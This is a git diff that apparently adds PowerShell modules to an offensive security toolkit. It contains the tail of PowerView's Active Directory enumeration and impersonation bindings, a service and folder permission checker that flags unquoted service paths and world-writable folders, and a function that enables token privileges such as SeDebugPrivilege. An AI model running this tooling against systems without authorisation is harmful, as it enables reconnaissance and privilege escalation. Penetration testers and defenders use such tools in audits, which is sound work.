(-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.Add($Domain, '') + + try { + # get all the trusts for this domain + $DomainTrustArguments['Domain'] = $Domain + $Trusts = Get-DomainTrust @DomainTrustArguments + + if ($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # get any forest trusts, if they exist + if ($PsCmdlet.ParameterSetName -eq 'NET') { + $ForestTrustArguments = @{} + if ($PSBoundParameters['Forest']) { $ForestTrustArguments['Forest'] = $Forest } + if ($PSBoundParameters['Credential']) { $ForestTrustArguments['Credential'] = $Credential } + $Trusts += Get-ForestTrust @ForestTrustArguments + } + + if ($Trusts) { + if ($Trusts -isnot [System.Array]) { + $Trusts = @($Trusts) + } + + # enumerate each trust found + ForEach ($Trust in $Trusts) { + if ($Trust.SourceName -and $Trust.TargetName) { + # make sure we process the target + $Null = $Domains.Push($Trust.TargetName) + $Trust + } + } + } + } + catch { + Write-Verbose "[Get-DomainTrustMapping] Error: $_" + } + } + } +} + + +function Get-GPODelegation { +<# +.SYNOPSIS + +Finds users with write permissions on GPO objects which may allow privilege escalation within the domain. + +Author: Itamar Mizrahi (@MrAnde7son) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER GPOName + +The GPO display name to query for, wildcards accepted. + +.PARAMETER PageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.EXAMPLE + +Get-GPODelegation + +Returns all GPO delegations in current forest. + +.EXAMPLE + +Get-GPODelegation -GPOName + +Returns all GPO delegations on a given GPO. +#> + + [CmdletBinding()] + Param ( + [String] + $GPOName = '*', + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins') + + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $DomainList = @($Forest.Domains) + $Domains = $DomainList | foreach { $_.GetDirectoryEntry() } + foreach ($Domain in $Domains) { + $Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))" + $Searcher = New-Object System.DirectoryServices.DirectorySearcher + $Searcher.SearchRoot = $Domain + $Searcher.Filter = $Filter + $Searcher.PageSize = $PageSize + $Searcher.SearchScope = "Subtree" + $listGPO = $Searcher.FindAll() + foreach ($gpo in $listGPO){ + $ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ? {$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and $Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and $_.IdentityReference -ne "CREATOR OWNER"} + if ($ACL -ne $null){ + $GpoACL = New-Object psobject + $GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath + $GpoACL | Add-Member Noteproperty 'GPODisplayName' $gpo.Properties.displayname + $GpoACL | Add-Member Noteproperty 'IdentityReference' $ACL.IdentityReference + $GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights' $ACL.ActiveDirectoryRights + $GpoACL + } + } + } +} + + +######################################################## +# +# Expose the Win32API functions and datastructures below +# using PSReflect. +# Warning: Once these are executed, they are baked in +# and can't be changed while the script is running! +# +######################################################## + +$Mod = New-InMemoryModule -ModuleName Win32 + +# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')] + +# used to parse the 'samAccountType' property for users/computers/groups +$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{ + DOMAIN_OBJECT = '0x00000000' + GROUP_OBJECT = '0x10000000' + NON_SECURITY_GROUP_OBJECT = '0x10000001' + ALIAS_OBJECT = '0x20000000' + NON_SECURITY_ALIAS_OBJECT = '0x20000001' + USER_OBJECT = '0x30000000' + MACHINE_ACCOUNT = '0x30000001' + TRUST_ACCOUNT = '0x30000002' + APP_BASIC_GROUP = '0x40000000' + APP_QUERY_GROUP = '0x40000001' + ACCOUNT_TYPE_MAX = '0x7fffffff' +} + +# used to parse the 'grouptype' property for groups +$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{ + CREATED_BY_SYSTEM = '0x00000001' + GLOBAL_SCOPE = '0x00000002' + DOMAIN_LOCAL_SCOPE = '0x00000004' + UNIVERSAL_SCOPE = '0x00000008' + APP_BASIC = '0x00000010' + APP_QUERY = '0x00000020' + SECURITY = '0x80000000' +} -Bitfield + +# used to parse the 'userAccountControl' property for users/groups +$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{ + SCRIPT = 1 + ACCOUNTDISABLE = 2 + HOMEDIR_REQUIRED = 8 + LOCKOUT = 16 + PASSWD_NOTREQD = 32 + PASSWD_CANT_CHANGE = 64 + ENCRYPTED_TEXT_PWD_ALLOWED = 128 + TEMP_DUPLICATE_ACCOUNT = 256 + NORMAL_ACCOUNT = 512 + INTERDOMAIN_TRUST_ACCOUNT = 2048 + WORKSTATION_TRUST_ACCOUNT = 4096 + SERVER_TRUST_ACCOUNT = 8192 + DONT_EXPIRE_PASSWORD = 65536 + MNS_LOGON_ACCOUNT = 131072 + SMARTCARD_REQUIRED = 262144 + TRUSTED_FOR_DELEGATION = 524288 + NOT_DELEGATED = 1048576 + USE_DES_KEY_ONLY = 2097152 + DONT_REQ_PREAUTH = 4194304 + PASSWORD_EXPIRED = 8388608 + TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 + PARTIAL_SECRETS_ACCOUNT = 67108864 +} -Bitfield + +# enum used by $WTS_SESSION_INFO_1 below +$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{ + Active = 0 + Connected = 1 + ConnectQuery = 2 + Shadow = 3 + Disconnected = 4 + Idle = 5 + Listen = 6 + Reset = 7 + Down = 8 + Init = 9 +} + +# the WTSEnumerateSessionsEx result structure +$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{ + ExecEnvId = field 0 UInt32 + State = field 1 $WTSConnectState + SessionId = field 2 UInt32 + pSessionName = field 3 String -MarshalAs @('LPWStr') + pHostName = field 4 String -MarshalAs @('LPWStr') + pUserName = field 5 String -MarshalAs @('LPWStr') + pDomainName = field 6 String -MarshalAs @('LPWStr') + pFarmName = field 7 String -MarshalAs @('LPWStr') +} + +# the particular WTSQuerySessionInformation result structure +$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{ + AddressFamily = field 0 UInt32 + Address = field 1 Byte[] -MarshalAs @('ByValArray', 20) +} + +# the NetShareEnum result structure +$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{ + Name = field 0 String -MarshalAs @('LPWStr') + Type = field 1 UInt32 + Remark = field 2 String -MarshalAs @('LPWStr') +} + +# the NetWkstaUserEnum result structure +$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{ + UserName = field 0 String -MarshalAs @('LPWStr') + LogonDomain = field 1 String -MarshalAs @('LPWStr') + AuthDomains = field 2 String -MarshalAs @('LPWStr') + LogonServer = field 3 String -MarshalAs @('LPWStr') +} + +# the NetSessionEnum result structure +$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{ + CName = field 0 String -MarshalAs @('LPWStr') + UserName = field 1 String -MarshalAs @('LPWStr') + Time = field 2 UInt32 + IdleTime = field 3 UInt32 +} + +# enum used by $LOCALGROUP_MEMBERS_INFO_2 below +$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{ + SidTypeUser = 1 + SidTypeGroup = 2 + SidTypeDomain = 3 + SidTypeAlias = 4 + SidTypeWellKnownGroup = 5 + SidTypeDeletedAccount = 6 + SidTypeInvalid = 7 + SidTypeUnknown = 8 + SidTypeComputer = 9 +} + +# the NetLocalGroupEnum result structure +$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{ + lgrpi1_name = field 0 String -MarshalAs @('LPWStr') + lgrpi1_comment = field 1 String -MarshalAs @('LPWStr') +} + +# the NetLocalGroupGetMembers result structure +$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{ + lgrmi2_sid = field 0 IntPtr + lgrmi2_sidusage = field 1 $SID_NAME_USE + lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') +} + +# enums used in DS_DOMAIN_TRUSTS +$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ + IN_FOREST = 1 + DIRECT_OUTBOUND = 2 + TREE_ROOT = 4 + PRIMARY = 8 + NATIVE_MODE = 16 + DIRECT_INBOUND = 32 +} -Bitfield +$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ + DOWNLEVEL = 1 + UPLEVEL = 2 + MIT = 3 + DCE = 4 +} +$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ + NON_TRANSITIVE = 1 + UPLEVEL_ONLY = 2 + FILTER_SIDS = 4 + FOREST_TRANSITIVE = 8 + CROSS_ORGANIZATION = 16 + WITHIN_FOREST = 32 + TREAT_AS_EXTERNAL = 64 +} + +# the DsEnumerateDomainTrusts result structure +$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ + NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') + DnsDomainName = field 1 String -MarshalAs @('LPWStr') + Flags = field 2 $DsDomainFlag + ParentIndex = field 3 UInt32 + TrustType = field 4 $DsDomainTrustType + TrustAttributes = field 5 $DsDomainTrustAttributes + DomainSid = field 6 IntPtr + DomainGuid = field 7 Guid +} + +# used by WNetAddConnection2W +$NETRESOURCEW = struct $Mod NETRESOURCEW @{ + dwScope = field 0 UInt32 + dwType = field 1 UInt32 + dwDisplayType = field 2 UInt32 + dwUsage = field 3 UInt32 + lpLocalName = field 4 String -MarshalAs @('LPWStr') + lpRemoteName = field 5 String -MarshalAs @('LPWStr') + lpComment = field 6 String -MarshalAs @('LPWStr') + lpProvider = field 7 String -MarshalAs @('LPWStr') +} + +# all of the Win32 API functions we need +$FunctionDefinitions = @( + (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), + (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), + (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), + (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), + (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), + (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), + (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), + (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), + (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), + (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), + (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) +) + +$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' +$Netapi32 = $Types['netapi32'] +$Advapi32 = $Types['advapi32'] +$Wtsapi32 = $Types['wtsapi32'] +$Mpr = $Types['Mpr'] +$Kernel32 = $Types['kernel32'] + +Set-Alias Get-IPAddress Resolve-IPAddress +Set-Alias Convert-NameToSid ConvertTo-SID +Set-Alias Convert-SidToName ConvertFrom-SID +Set-Alias Request-SPNTicket Get-DomainSPNTicket +Set-Alias Get-DNSZone Get-DomainDNSZone +Set-Alias Get-DNSRecord Get-DomainDNSRecord +Set-Alias Get-NetDomain Get-Domain +Set-Alias Get-NetDomainController Get-DomainController +Set-Alias Get-NetForest Get-Forest +Set-Alias Get-NetForestDomain Get-ForestDomain +Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog +Set-Alias Get-NetUser Get-DomainUser +Set-Alias Get-UserEvent Get-DomainUserEvent +Set-Alias Get-NetComputer Get-DomainComputer +Set-Alias Get-ADObject Get-DomainObject +Set-Alias Set-ADObject Set-DomainObject +Set-Alias Get-ObjectAcl Get-DomainObjectAcl +Set-Alias Add-ObjectAcl Add-DomainObjectAcl +Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl +Set-Alias Get-GUIDMap Get-DomainGUIDMap +Set-Alias Get-NetOU Get-DomainOU +Set-Alias Get-NetSite Get-DomainSite +Set-Alias Get-NetSubnet Get-DomainSubnet +Set-Alias Get-NetGroup Get-DomainGroup +Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup +Set-Alias Get-NetGroupMember Get-DomainGroupMember +Set-Alias Get-NetFileServer Get-DomainFileServer +Set-Alias Get-DFSshare Get-DomainDFSShare +Set-Alias Get-NetGPO Get-DomainGPO +Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup +Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping +Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping +Set-Alias Get-LoggedOnLocal Get-RegLoggedOn +Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess +Set-Alias Get-SiteName Get-NetComputerSiteName +Set-Alias Get-Proxy Get-WMIRegProxy +Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn +Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection +Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive +Set-Alias Get-NetProcess Get-WMIProcess +Set-Alias Invoke-ThreadedFunction New-ThreadedFunction +Set-Alias Invoke-UserHunter Find-DomainUserLocation +Set-Alias Invoke-ProcessHunter Find-DomainProcess +Set-Alias Invoke-EventHunter Find-DomainUserEvent +Set-Alias Invoke-ShareFinder Find-DomainShare +Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile +Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember +Set-Alias Get-NetDomainTrust Get-DomainTrust +Set-Alias Get-NetForestTrust Get-ForestTrust +Set-Alias Find-ForeignUser Get-DomainForeignUser +Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember +Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping +Set-Alias Get-DomainPolicy Get-DomainPolicyData diff --git a/Modules/Service-Perms.ps1 b/Modules/Service-Perms.ps1 new file mode 100644 index 0000000..d864ae1 --- /dev/null +++ b/Modules/Service-Perms.ps1 @@ -0,0 +1,364 @@ +# Service Permission Checker && Folder Perms Checker +# Ben Turner @benpturner + +<# +.Synopsis + Service Permission Checker + +.DESCRIPTION + Permission Checker : Equivlent to: + + $_.FullName | Select-Object pschildname,pspath,accesstostring} catch{}}|Export-Csv C:\temp\acl.csv -NoTypeInformation + +.EXAMPLE + PS C:\> Get-ServicePerms + +#> +Function Get-ServicePerms { + +$csharp= @" +using System; +using System.Data; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Text; +using System.Threading; +using System.Management; +using System.Text.RegularExpressions; +using System.Security.AccessControl; +using System.Security.Principal; +using System.Xml; +using System.Collections; +using System.ServiceProcess; +using System.Net; + +public static class ServicePerms + + { + static List folderlist; + public static void dumpfolderperms(List folderlist, DataSet ds) + { + //DataSet ds = new DataSet(); + ds.Tables.Add("folders"); + ds.Tables["folders"].Columns.Add("Folder"); + ds.Tables["folders"].Columns.Add("Permissions"); + string permstring = null; + string cpermstring = null; + + foreach (string value in folderlist) + { + permstring = null; + cpermstring = null; + try + { + FileSecurity fileSecurity = new FileSecurity(value, AccessControlSections.Access); + AuthorizationRuleCollection arc = fileSecurity.GetAccessRules(true, true, typeof(NTAccount)); + foreach (FileSystemAccessRule rule in arc) + { + + permstring = ""; + permstring = rule.IdentityReference + " " + rule.AccessControlType + " " + rule.FileSystemRights; + + // is this case sensitive + if (permstring.Contains("Users") & permstring.Contains("Modify")) + { + permstring = "
**" + permstring + "
"; + } + if (permstring.Contains("Users") & permstring.Contains("FullControl")) + { + permstring = "
**" + permstring + "
"; + } + if (permstring.Contains("Everyone") & permstring.Contains("Modify")) + { + permstring = "
**" + permstring + "
"; + } + if (permstring.Contains("Everyone") & permstring.Contains("FullControl")) + { + permstring = "
**" + permstring + "
"; + } + + cpermstring = cpermstring + permstring + "
"; + + } + + } + catch + { + + } + + ds.Tables["folders"].Rows.Add(value, cpermstring); + } + String hostName = Dns.GetHostName(); + string contents = ConvertDataTableToHtml(ds.Tables["services"]); + string contentsfolders = ConvertDataTableToHtml2(ds.Tables["folders"]); + File.WriteAllText("Report-" + hostName + ".html", contents + contentsfolders); + } + + public static void dumpservices() + { + String hostName = Dns.GetHostName(); + List list = new List(); + folderlist = new List(); + //List folderlist = new List(); + DataSet ds = new DataSet(); + ds.Tables.Add("services"); + ds.Tables["services"].Columns.Add("Service Name"); + ds.Tables["services"].Columns.Add("Unquoted"); + ds.Tables["services"].Columns.Add("ImagePath"); + ds.Tables["services"].Columns.Add("Permissions"); + ds.Tables["services"].Columns.Add("Service Information"); + + ObjectQuery query = new ObjectQuery("SELECT * FROM Win32_Service"); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(query); + foreach (ManagementObject queryObj in searcher.Get()) + { + String input = ""; + try { + if (queryObj["PathName"].ToString() == "") { + continue; + } else { + input = queryObj["PathName"].ToString(); + } + } catch { + } + string key = ""; + string unquoted = ""; + + Match match = Regex.Match(input, @"^(.+?).exe", RegexOptions.IgnoreCase); + + // Here we check the Match instance. + if (match.Success) + { + + //Check for unquotes service paths + string unqu = match.Groups[1].Value + ".exe"; + if (!unqu.Contains("\"") && unqu.Contains(" ")) + { + unquoted = "Unquoted**"; + } + else + { + unquoted = "False"; + } + + // Finally, we get the Group value and display it. + key = match.Groups[1].Value + ".exe"; + key = key.Replace("\"", ""); + string permsstring = null; + string currentpermstring = null; + try + { + FileSecurity fileSecurity = new FileSecurity(key, AccessControlSections.Access); + var file_info = new FileInfo(key); + //file_info.Directory.Parent + + AuthorizationRuleCollection arc = fileSecurity.GetAccessRules(true, true, typeof(NTAccount)); + foreach (FileSystemAccessRule rule in arc) + { + // find if users modify + // if it contains everyone or users with modify or fullControl then flag as bold or something..... + // or search through the html after..... + currentpermstring = ""; + currentpermstring = rule.IdentityReference + " " + rule.AccessControlType + " " + rule.FileSystemRights; + + // is this case sensitive + if (currentpermstring.Contains("Users") & currentpermstring.Contains("Modify")) + { + currentpermstring = "
**" + currentpermstring + "
"; + } + if (currentpermstring.Contains("Users") & currentpermstring.Contains("FullControl")) + { + currentpermstring = "
**" + currentpermstring + "
"; + } + if (currentpermstring.Contains("Everyone") & currentpermstring.Contains("Modify")) + { + currentpermstring = "
**" + currentpermstring + "
"; + } + if (currentpermstring.Contains("Everyone") & currentpermstring.Contains("FullControl")) + { + currentpermstring = "
**" + currentpermstring + "
"; + } + + permsstring = permsstring + currentpermstring + "
"; + + } + } + catch + { + permsstring = "Path not found: " + key + "\n"; + } + + var key2 = ""; + + Match match2 = Regex.Match(key, @"^(.*[\\\/])[^\\\/]*$", RegexOptions.IgnoreCase); + + if (match2.Success) + { + key2 = match2.Groups[1].ToString(); + + } + + + var file = new FileInfo(key); + var directory2 = file.Directory; + + while (directory2 != null) + { + + if (!folderlist.Contains(directory2.FullName.ToString().ToLower())) + { + folderlist.Add(directory2.FullName.ToString().ToLower()); + } + + directory2 = directory2.Parent; + + } + + + string serviceinformation = ""; + // Try and see if the service can be stopped or restarted + + ServiceController svc = new ServiceController(queryObj["Name"].ToString()); + try + { + serviceinformation = svc.Status.ToString(); + bool canstop = svc.CanPauseAndContinue; + bool canstart = svc.CanStop; + bool canshutdown = svc.CanShutdown; + serviceinformation = serviceinformation + "
CanPauseAndContinue:" + canstop + "
CanStart:" + canstart + "
CanShutdown:" + canshutdown; + + //svc.Start(); + } + catch (Exception ex) + { + Console.WriteLine("Error" + ex); + } + + ds.Tables["services"].Rows.Add(queryObj["DisplayName"].ToString() + " (" + queryObj["Name"].ToString() + ")", unquoted, queryObj["PathName"].ToString(), permsstring, serviceinformation); + } + + } + DirSearch("C:\\"); + dumpfolderperms(folderlist, ds); + + } + public static void DirSearch(string sDir) + { + try + { + foreach (string d in Directory.GetDirectories(sDir)) + { + folderlist.Add(d); + DirSearch(d); + } + } + catch (System.Exception excpt) + { + Console.WriteLine(excpt.Message); + } + } + public static string ConvertDataTableToHtml(DataTable targetTable) + { + if (targetTable == null) + { + throw new ArgumentNullException("targetTable"); + } + StringBuilder builder = new StringBuilder(); + builder.Append(""); + builder.Append(""); + builder.Append(""); + builder.Append("Page-"); + builder.Append(Guid.NewGuid().ToString()); + builder.Append(""); + builder.Append(""); + builder.Append(""); + builder.Append("

Service Permissions - Search for ** to find any vulnerabilities........

"); + builder.Append(""); + builder.Append(""); + foreach (DataColumn column in targetTable.Columns) + { + builder.Append(""); + } + builder.Append(""); + foreach (DataRow row in targetTable.Rows) + { + builder.Append(""); + foreach (DataColumn column2 in targetTable.Columns) + { + builder.Append(""); + } + builder.Append(""); + } + builder.Append("
"); + builder.Append(column.ColumnName); + builder.Append("
"); + builder.Append(row[column2.ColumnName].ToString()); + builder.Append("
"); + builder.Append(""); + builder.Append(""); + return builder.ToString(); + } + + public static string ConvertDataTableToHtml2(DataTable targetTable) + { + if (targetTable == null) + { + throw new ArgumentNullException("targetTable"); + } + StringBuilder builder = new StringBuilder(); + builder.Append(""); + builder.Append(""); + builder.Append(""); + builder.Append("Page-"); + builder.Append(Guid.NewGuid().ToString()); + builder.Append(""); + builder.Append(""); + builder.Append(""); + builder.Append(""); + builder.Append(""); + foreach (DataColumn column in targetTable.Columns) + { + builder.Append(""); + } + builder.Append(""); + foreach (DataRow row in targetTable.Rows) + { + builder.Append(""); + foreach (DataColumn column2 in targetTable.Columns) + { + builder.Append(""); + } + builder.Append(""); + } + builder.Append("
"); + builder.Append(column.ColumnName); + builder.Append("
"); + builder.Append(row[column2.ColumnName].ToString()); + builder.Append("
"); + builder.Append(""); + builder.Append(""); + return builder.ToString(); + } +} + +"@ +$Assem = "System.Data", +"System.Xml.Linq", +"System.Xml", +"System.Data.Entity", +"System.Management", +"System.Management.Instrumentation", +"System.ServiceProcess" + +Add-Type -TypeDefinition $csharp -Language CSharpVersion3 -IgnoreWarnings -ReferencedAssemblies $Assem + +[ServicePerms]::dumpservices() +$complete = "[+] Writing output to Report-" + $env:COMPUTERNAME + ".html" +echo "[+] Completed Service Permissions Review" +echo "$complete" + +} \ No newline at end of file diff --git a/Modules/Set-LHSTokenPrivilege.ps1 b/Modules/Set-LHSTokenPrivilege.ps1 new file mode 100644 index 0000000..8602acb --- /dev/null +++ b/Modules/Set-LHSTokenPrivilege.ps1 @@ -0,0 +1,202 @@ +function Set-LHSTokenPrivilege +{ +<# +.SYNOPSIS + Enables or disables privileges in a specified access token. + +.DESCRIPTION + Enables or disables privileges in a specified access token. + +.PARAMETER Privilege + The privilege to adjust. This set is taken from + http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx + +.PARAMETER $ProcessId + The process on which to adjust the privilege. Defaults to the current process. + +.PARAMETER Disable + Switch to disable the privilege, rather than enable it. + +.EXAMPLE + Set-LHSTokenPrivilege -Privilege SeRestorePrivilege + + To set the 'Restore Privilege' for the current Powershell Process. + +.EXAMPLE + Set-LHSTokenPrivilege -Privilege SeRestorePrivilege -Disable + + To disable 'Restore Privilege' for the current Powershell Process. + +.EXAMPLE + Set-LHSTokenPrivilege -Privilege SeShutdownPrivilege -ProcessId 4711 + + To set the 'Shutdown Privilege' for the Process with Process ID 4711 + +.INPUTS + None to the pipeline + +.OUTPUTS + System.Boolean, True if the privilege could be enabled + +.NOTES + to check privileges use whoami + PS:\> whoami /priv + + PRIVILEGES INFORMATION + ---------------------- + + Privilege Name Description State + ============================= ==================================== ======== + SeShutdownPrivilege Shut down the system Disabled + SeChangeNotifyPrivilege Bypass traverse checking Enabled + SeUndockPrivilege Remove computer from docking station Disabled + SeIncreaseWorkingSetPrivilege Increase a process working set Disabled + + + AUTHOR: Pasquale Lantella + LASTEDIT: + KEYWORDS: Token Privilege + +.LINK + http://www.leeholmes.com/blog/2010/09/24/adjusting-token-privileges-in-powershell/ + + The privilege to adjust. This set is taken from + http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx + + pinvoke AdjustTokenPrivileges (advapi32) + http://www.pinvoke.net/default.aspx/advapi32.AdjustTokenPrivileges + +#Requires -Version 2.0 +#> + +[cmdletbinding( + ConfirmImpact = 'low', + SupportsShouldProcess = $false +)] + +[OutputType('System.Boolean')] + +Param( + + [Parameter(Position=0,Mandatory=$True,ValueFromPipeline=$False,HelpMessage='An Token Privilege.')] + [ValidateSet( + "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", + "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege", + "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege", + "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", + "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", + "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege", + "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", + "SeRestorePrivilege", "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", + "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeSystemtimePrivilege", + "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", + "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")] + [String]$Privilege, + + [Parameter(Position=1)] + $ProcessId = $pid, + + [Switch]$Disable + ) + +BEGIN { + + Set-StrictMode -Version Latest + ${CmdletName} = $Pscmdlet.MyInvocation.MyCommand.Name + +## Taken from P/Invoke.NET with minor adjustments. + +$definition = @' + using System; + using System.Runtime.InteropServices; + + public class AdjPriv + { + [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] + internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); + + [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] + internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); + + [DllImport("advapi32.dll", SetLastError = true)] + internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + internal struct TokPriv1Luid + { + public int Count; + public long Luid; + public int Attr; + } + + internal const int SE_PRIVILEGE_ENABLED = 0x00000002; + internal const int SE_PRIVILEGE_DISABLED = 0x00000000; + internal const int TOKEN_QUERY = 0x00000008; + internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; + + public static bool EnablePrivilege(long processHandle, string privilege, bool disable) + { + bool retVal; + TokPriv1Luid tp; + IntPtr hproc = new IntPtr(processHandle); + IntPtr htok = IntPtr.Zero; + retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); + tp.Count = 1; + tp.Luid = 0; + if(disable) + { + tp.Attr = SE_PRIVILEGE_DISABLED; + } + else + { + tp.Attr = SE_PRIVILEGE_ENABLED; + } + retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid); + retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); + return retVal; + } + } +'@ + + + +} # end BEGIN + +PROCESS { + + $processHandle = (Get-Process -id $ProcessId).Handle + + $type = Add-Type $definition -PassThru + $type[0]::EnablePrivilege($processHandle, $Privilege, $Disable) + +} # end PROCESS + +END { Write-Verbose "Function ${CmdletName} finished." } + +} # end Function Set-LHSTokenPrivilege + +$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", + + "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege", + + "SeCreatePermanentPrivilege", 